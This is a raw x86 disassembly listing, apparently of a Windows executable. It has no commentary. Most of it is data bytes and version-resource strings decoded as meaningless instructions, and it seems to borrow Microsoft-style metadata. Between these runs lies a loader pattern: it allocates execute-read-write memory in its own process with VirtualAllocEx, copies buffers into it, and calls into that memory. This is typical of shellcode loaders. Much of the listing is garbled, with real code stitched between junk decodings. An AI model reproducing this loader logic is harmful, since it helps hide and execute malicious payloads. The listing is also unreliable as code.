add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], dl
add byte [eax], al
add byte [eax], bl
add byte [eax], al
add byte [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
adc byte [eax], al
add byte [eax], al
sbb byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add dword [eax], eax
add byte [eax], al
xor byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
or dword [eax + eax], eax
add byte [eax], cl
add byte [eax], al
pushal
and byte [eax], al
add byte [ebx + eax], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov word [ebx], es
xor al, 0
add byte [eax], al
push esi
add byte [ebx], dl
pop edi
add byte [esi], dl
inc ebp
add byte [edx], dl
push ebx
add byte [ecx], cl
dec edi
add byte [esi], cl
pop edi
add byte [ecx], cl
dec esi
add byte [esi], al
dec edi
add byte [eax], al
add byte [eax], al
add byte [ebp + 0xfeef04], bh
add byte [ecx], al
add byte [ecx], al
add byte [esi], al
add bh, dh
pop ebx
mov cl, 0x1d
add dword [eax], eax
push es
add bh, dh
pop ebx
mov cl, 0x1d
aas
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + eax], al
add al, 0
add al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
ljmp 0x5300
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x7c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x8c], eax
movzx edx, byte [0x6165cc]
test edx, edx
je 0x40d68a
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc byte [0x5ffffff], dl
add byte [eax], al
add byte [esi], dl
invalid
mov eax, dword [0x6149b4]
add eax, dword [0x615af8]
push eax
push 0
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.004421a0
add esp, 0xc
movzx edx, byte [0x6165cc]
test edx, edx
je 0x40e9fe
adc al, 0xd0
adc al, al
adc byte [eax + 1], dh
sbb dword [edx], ecx
add byte [ecx], bl
je 0x40d6c9
add byte [ecx], bl
or byte fs:[eax], al
sbb dword [edi + eax], edx
sbb dword [esi + eax], esi
add byte [ecx], bl
xor dl, byte [0xd2301c0]
add byte [ebx], ah
das
add byte [ebx], ah
push esp
add byte cs:[ebx], ah
xor al, 0x2c
add byte [ebx], ah
add dword [esi], esp
add byte [eax + esi*8], bl
sbb ah, al
sbb al, dl
push ss
rcl byte [eax + esi*2], 0
add byte [ecx], al
adc eax, dword [edi]
add byte [ebx], dl
push ds
add byte [ebx], dl
xor al, 0x1c
add byte [ebx], dl
add dword [edx], ebx
add byte [eax + esi*2], cl
add byte [eax], al
add dword [eax + ecx], edx
add byte [esp], dl
adc dword [eax], eax
adc al, 0x54
adc byte [eax], al
adc al, 0x34
push cs
add byte [edx + esi*4], dl
adc byte [eax + 9], dh
push es
add al, byte [eax]
push es
xor al, byte [edx]
xor byte [esi + ecx*2], ch
add byte [ecx], al
add byte [eax], al
add byte [esi + 0x14], dl
add byte [eax], al
adc al, 0
add byte [ecx], al
add byte [eax], al
add byte [ecx + 0x1000017], al
sbb dword [edx], ecx
add byte [ecx], bl
je 0x40d74b
add byte [ecx], bl
or al, byte fs:[eax]
sbb dword [ecx + ecx], edx
sbb dword [eax + ecx], esi
add byte [ecx], bl
push edx
adc eax, 0x60f01d0
or byte [eax], al
sbb dword [edx + 0x15], edx
rol byte [ecx], 1
clts
add byte [edi], cl
push esp
or dword [eax], eax
sysenter
or byte [eax], al
rsqrtps xmm1, xmmword [ebx]
jo 0x40d763
pop ss
push es
add byte [edi], dl
adc al, 0
pop ss
xor al, 0x12
add byte [edi], dl
adc byte [eax + 1], dh
push ss
or al, byte [eax]
push ss
push esp
or eax, dword [eax]
push ss
xor al, 0xa
add byte [esi], dl
xor dl, byte [edx]
loopne 0x40d792
ror byte [esi], 1
ror byte [eax + esi*2], 0xb
pushal
sbb dword [eax], ebx
add eax, 0x28011800
add byte [ecx], dl
jo 0x40d7a4
pushal
wrmsr
add byte [eax], al
insb byte es:[edi], dx
dec esi
add byte [eax], al
sbb dword [eax], eax
add byte [eax], al
salc
adc byte [eax], al
add ah, ah
adc byte [eax], al
add byte [esp + edx*2], bh
add byte [eax], al
in al, 0x10
add byte [eax], al
invalid
mov eax, dword [ebp - 0x7c]
push eax
push 0
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.004421a0
add esp, 0xc
push 0x20
push 0x614810
lea edx, [ebp - 0x60]
push edx
call fcn.00441c20
add esp, 0xc
movzx eax, byte [0x6165cc]
test eax, eax
je 0x40fc18
add byte [eax], al
xor al, byte [eax]
or dword [eax], eax
add dword [eax], eax
dec ecx
add byte [esi], ch
je 0x40ea43
add byte gs:[edx], dh
outsb dx, byte [esi]
add byte [ecx], ah
insb byte es:[edi], dx
add byte [esi], cl
popal
add byte [ebp], ch
add byte gs:[eax], al
add byte [ebx], dh
add byte gs:[esi], ch
jae 0x40ea5f
add byte cs:[eax + eax + 0x6c], ah
add byte [eax + eax], ch
add byte [eax], al
add byte [eax + 0x1002e00], al
add byte [eax + eax + 0x65], cl
add byte [edi], ah
popal
add byte [eax + eax + 0x43], ch
add byte [edi], ch
jo 0x40ea81
jns 0x40ea83
jb 0x40ea85
imul eax, dword [eax], 0x680067
je 0x40ea8d
add byte [eax], al
test eax, 0x4d002000
add byte [ecx], ch
arpl word [eax], ax
jb 0x40ea9b
outsd dx, dword [esi]
add byte [ebx], dh
outsd dx, dword [esi]
add byte [esi], ah
je 0x40eaa5
and byte [eax], al
inc ebx
add byte [edi], ch
jb 0x40eaad
jo 0x40eaaf
outsd dx, dword [esi]
add byte [edx], dh
popal
add byte [eax + eax + 0x69], dh
add byte [edi], ch
outsb dx, byte [esi]
add byte [esi], ch
add byte [eax], ah
add byte [ecx], al
insb byte es:[edi], dx
add byte [eax + eax + 0x20], ch
add byte [edx], dh
imul eax, dword [eax], 0x680067
je 0x40ead3
jae 0x40ead5
and byte [eax], al
jb 0x40ead9
add byte gs:[ebx], dh
add byte gs:[edx], dh
jbe 0x40eae3
add byte gs:[eax + eax + 0x2e], ah
add byte [eax], al
add byte [edx], bh
add byte [ecx], cl
add byte [ecx], al
add byte [edi], cl
jb 0x40eaf5
imul eax, dword [eax], 0x690067
outsb dx, byte [esi]
add byte [ecx], ah
insb byte es:[edi], dx
add byte [esi], al
imul eax, dword [eax], 0x65006c
outsb dx, byte [esi]
add byte [ecx], ah
insd dword es:[edi], dx
add byte [ebp], ah
add byte [eax], al
jae 0x40eb15
add byte gs:[esi], ch
jae 0x40eb1b
add byte cs:[eax + eax + 0x6c], ah
add byte [eax + eax], ch
add byte [eax], al
add byte [edx], ch
and eax, 0x50000100
add byte [edx], dh
outsd dx, dword [esi]
add byte [eax + eax + 0x75], ah
add byte [ebx], ah
je 0x40eb3b
dec esi
add byte [ecx], ah
insd dword es:[edi], dx
add byte [ebp], ah
add byte [eax], al
add byte [eax], al
dec ebp
add byte [ecx], ch
arpl word [eax], ax
jb 0x40eb4f
invalid
outsd dx, dword [esi]
add byte [ebx], dh
outsd dx, dword [esi]
add byte [esi], ah
je 0x40eb59
scasb al, byte es:[edi]
add byte [eax], ah
add byte [edi], dl
imul eax, dword [eax], 0x64006e
outsd dx, dword [esi]
add byte [edi], dh
jae 0x40eb6b
scasb al, byte es:[edi]
add byte [eax], ah
add byte [edi], cl
jo 0x40eb73
add byte gs:[edx], dh
popal
add byte [eax + eax + 0x69], dh
add byte [esi], ch
add byte [bx + si], ah
add byte [ebx], dl
jns 0x40eb87
jae 0x40eb89
je 0x40eb8b
add byte gs:[ebp], ch
add byte [eax], al
add byte [eax], al
inc edx
add byte [edi], cl
add byte [ecx], al
add byte [eax], dl
jb 0x40eb9d
outsd dx, dword [esi]
add byte [eax + eax + 0x75], ah
add byte [ebx], ah
je 0x40eba7
push esi
add byte [ebp], ah
jb 0x40ebad
jae 0x40ebaf
imul eax, dword [eax], 0x6e006f
add byte [eax], al
add byte ss:[esi], ch
add byte [ecx], dh
add byte [esi], ch
add byte [edi], dh
add byte [esi], dh
add byte [eax], dh
add byte [eax], dh
add byte [esi], ch
add byte [ecx], dh
add byte [esi], dh
add byte [ebx], dh
add byte [eax], bh
add byte [0], dh
add byte [eax + eax], al
add byte [ecx], al
add byte [esi], dl
popal
add byte [edx], dh
inc esi
add byte [ecx], ch
insb byte es:[edi], dx
add byte [ebp], ah
dec ecx
add byte [esi], ch
add byte [edi], ch
add byte [eax], al
add byte [eax], al
and al, 0
add al, 0
add byte [eax], al
push esp
add byte [edx], dh
popal
add byte [esi], ch
jae 0x40ec07
insb byte es:[edi], dx
add byte [ecx], ah
je 0x40ec0d
imul eax, dword [eax], 0x6e006f
add byte [eax], al
add byte [eax], al
or dword [eax + esi*4], eax
add al, 0x43
push edx
dec ecx
dec ebp
sbb byte [ecx], al
add byte [eax], al
add eax, dword [eax]
add dword [eax], eax
add dword [eax], eax
add byte [eax], al
sbb al, 0x78
imul edi, dword [esi + 0x41a1b63b], 0xfca4248e
jnp 0x40ec78
les ebx, [eax + 0x24]
push edi
inc ebp
push esi
push esp
hlt
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x48], al
inc ecx
dec esi
pop esp
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x10000000], ch
add byte [eax], al
add byte [edx], al
add byte [eax], al
nop
inc eax
add byte [eax], al
add byte [ebp], cl
imul eax, dword [eax], 0x720063
outsd dx, dword [esi]
add byte [ebx], dh
outsd dx, dword [esi]
add byte [esi], ah
je 0x40ecd9
sub eax, 0x69005700
add byte [esi], ch
add byte fs:[edi], ch
ja 0x40ece7
jae 0x40ece9
sub eax, 0x65005300
add byte [esi], ch
jae 0x40ecf3
das
add byte [eax + eax + 0x65], al
add byte [edx], ah
jne 0x40ecfd
add byte [bx + si], al
add byte [eax], al
add byte [edi + 0x50], cl
inc ebx
dec edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec esp
inc ebp
push esi
dec esp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push esp
inc ecx
push ebx
dec ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec ebx
inc ebp
pop ecx
push edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec ebp
push ebx
inc esi
push esp
add al, byte [eax]
add dword [eax], eax
add byte [eax], al
add byte [eax], al
or dword [eax + eax], eax
add byte [eax], al
add byte [eax], al
add byte [ebx], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
mov bh, 1
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ecx, dword [ebp - 0x68]
add ecx, dword [0x6149b4]
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x28]
call fcn.00414930
mov dword [ebp - 0x4c], eax
movzx ecx, byte [0x6165cc]
test ecx, ecx
je 0x410dae
add esp, dword [esi + 0x44]
mov dword [esi + eax], esp
dec eax
mov ebx, dword [esp + 0x30]
dec eax
mov ebp, dword [esp + 0x38]
dec eax
mov esi, dword [esp + 0x40]
dec eax
mov edi, dword [esp + 0x48]
dec eax
add esp, 0x20
inc ecx
pop esp
ret
push 0x20
lea edx, [ebp - 0x60]
push edx
mov eax, dword [ebp - 0x68]
push eax
call fcn.00441c20
add esp, 0xc
mov ecx, dword [0x6149b4]
sub ecx, 0x20
push ecx
push 0x614830
mov edx, dword [ebp - 0x68]
add edx, 0x20
push edx
call fcn.00441c20
add esp, 0xc
movzx eax, byte [0x6165cc]
test eax, eax
je 0x411788
cmp dword [edi - 0x50], eax
sti
and dword [ebx + 0x61], esi
in al, 0x89
dec edi
push ss
xchg edi, eax
lahf
loop 0x410e04
pop esp
int 0x4f
xchg ebp, eax
pop edx
adc dword [edi + 0x2d525adb], ebx
add al, 0x9e
push edx
sbb eax, 0xa4427cb0
pop edx
push edx
sub eax, 0x26529e04
sbb eax, 0xa4427cb0
dec esp
and al, 0x48
jle 0x410e43
mov bl, 0x3d
mov edx, 0xf3d58960
adc byte cs:[ecx - 0x62], cl
xor al, 0xc9
adc dword [ecx - 0x27ffe8f], esi
inc eax
add eax, 0x48e78568
cmpsb byte [esi], byte es:[edi]
xor dh, byte [edx + 0x15]
jb 0x410e78
mov ch, 0x5b
mov ebp, 0x9ec4ec38
dec esi
pop esi
dec ebx
xchg ebx, eax
pop edx
sar dword [edi - 0x7f26c80e], 1
sal dword [ebx - 0x62789275], cl
xchg ecx, eax
dec edx
stosd dword es:[edi], eax
push esi
aaa
fld dword [eax + 0x6d8bb3d3]
xchg dword [ebp + 0x56ab4a91], ebx
dec edi
xor bh, cl
invalid
adc dword [edi + 0x26], esp
ret 0xbf2e
mov ecx, dword [0x615af8]
push ecx
push 0x6149b8
mov edx, dword [ebp - 0x68]
add edx, dword [0x6149b4]
push edx
call fcn.00441c20
add esp, 0xc
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x98]
push ecx
mov edx, dword [ebp - 0x8c]
push edx
call fcn.00441c20
add esp, 0xc
movzx eax, byte [0x6165cc]
test eax, eax
je 0x412ba0
and al, 0x20
sub eax, 0xc
jmp 0x4118d1
neg eax
sbb ecx, ecx
and ecx, 0xffffffc3
jmp 0x411a47
inc ecx
cmp ecx, esp
jl 0x411a5a
inc eax
and dh, 0x80
inc eax
neg dh
sbb ecx, ecx
neg ecx
inc ecx
add ecx, ebp
mov eax, ecx
dec eax
mov ecx, dword [esp + 0x38]
dec eax
xor ecx, esp
call fcn.00412875
dec eax
mov ebx, dword [esp + 0x80]
dec eax
add esp, 0x40
inc ecx
pop ebp
inc ecx
pop esp
pop edi
pop esi
pop ebp
ret
or eax, 0xffffffff
jmp 0x412b1a
add byte [ebp - 0x15000000], al
cmp al, byte [ecx + 0x8d3a]
sal byte [ebp + 0xc], 0xc7
xor dword [eax - 0x7e000000], 0
add byte [eax], al
jmp 0x412aef
mov edx, dword [ebx + 0xb0]
mov ecx, 8
inc ecx
call eax
mov dword [ebx + 0xb0], edi
jmp 0x412b0c
dec eax
mov dword [ebx + 0xa8], ebp
jmp 0x4129fb
dec eax
mov ebx, dword [esp + 0x30]
dec eax
mov ebp, dword [esp + 0x38]
dec eax
mov esi, dword [esp + 0x40]
dec eax
add esp, 0x20
pop edi
ret
call dword [ebp - 0x68]
movzx ecx, byte [0x6165cc]
test ecx, ecx
je 0x4139ca
dec eax
mov dword [esp + 0x28], eax
dec eax
mov ecx, esi
mov dword [esp + 0x20], 0x1000
call dword [0xffff6d14]
mov ebx, eax
call dword [0xffff6d1c]
test ebx, ebx
jne 0x412bdf
cmp eax, 0x3e5
jne 0x412c6c
mov dword [edi + 0x28], 3
dec eax
mov ecx, dword [esp + 0x60]
mov edx, 0xc8
call dword [0xffff6cce]
dec esp
lea eax, [esp + 0x44]
dec eax
lea edx, [esp + 0x48]
inc ecx
mov ecx, 1
dec eax
mov ecx, esi
mov ebp, eax
call dword [0xffff6cd3]
mov ebx, eax
call dword [0xffff6cd3]
test ebx, ebx
jne 0x412c24
cmp eax, 0x3e4
jne 0x412c6c
cmp ebp, 0xffffffff
je 0x412c6c
test ebp, ebp
jne 0x412be6
inc esp
mov eax, dword [esp + 0x80]
dec eax
lea edx, [esp + 0x70]
dec eax
lea ecx, [edi + 0x680]
inc ecx
add eax, 0x20
call fcn.0041bff8
dec eax
mov ecx, edi
call fcn.00412558
dec eax
mov ecx, dword [edi + 0x18]
call dword [0xffff6c98]
cmp dword [edi + 0x684], 0x404
jne 0x412aae
dec eax
mov eax, dword [esp + 0x60]
mov dword [edi + 0x28], 8
dec eax
cmp esi, 0xffffffff
je 0x412c8c
dec eax
mov ecx, esi
call dword [0xffff6c35]
dec eax
mov eax, dword [esp + 0x60]
dec eax
test eax, eax
je 0x412c9a
dec eax
mov ecx, eax
call dword [0xffff6c22]
invalid
add dword [eax], eax